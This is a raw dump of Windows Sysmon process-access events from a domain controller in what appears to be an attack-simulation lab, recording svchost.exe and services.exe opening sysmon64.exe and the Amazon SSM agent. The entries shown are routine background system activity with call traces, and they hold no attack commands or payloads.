09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001464Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001463Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001462Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001461Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001460Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001459Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001458Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001457Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001456Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001455Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001454Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.746{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001453Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.717{A5F018FF-28BD-5F80-0A00-000000007F01}8521144C:\Windows\system32\services.exe{A5F018FF-28CF-5F80-2B00-000000007F01}2724C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001452Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.659{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001451Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.659{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001450Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.659{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001449Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.659{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001448Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.659{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001447Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.659{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001446Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.659{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001445Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.659{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001444Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.658{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001443Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.653{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001442Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.653{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001441Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 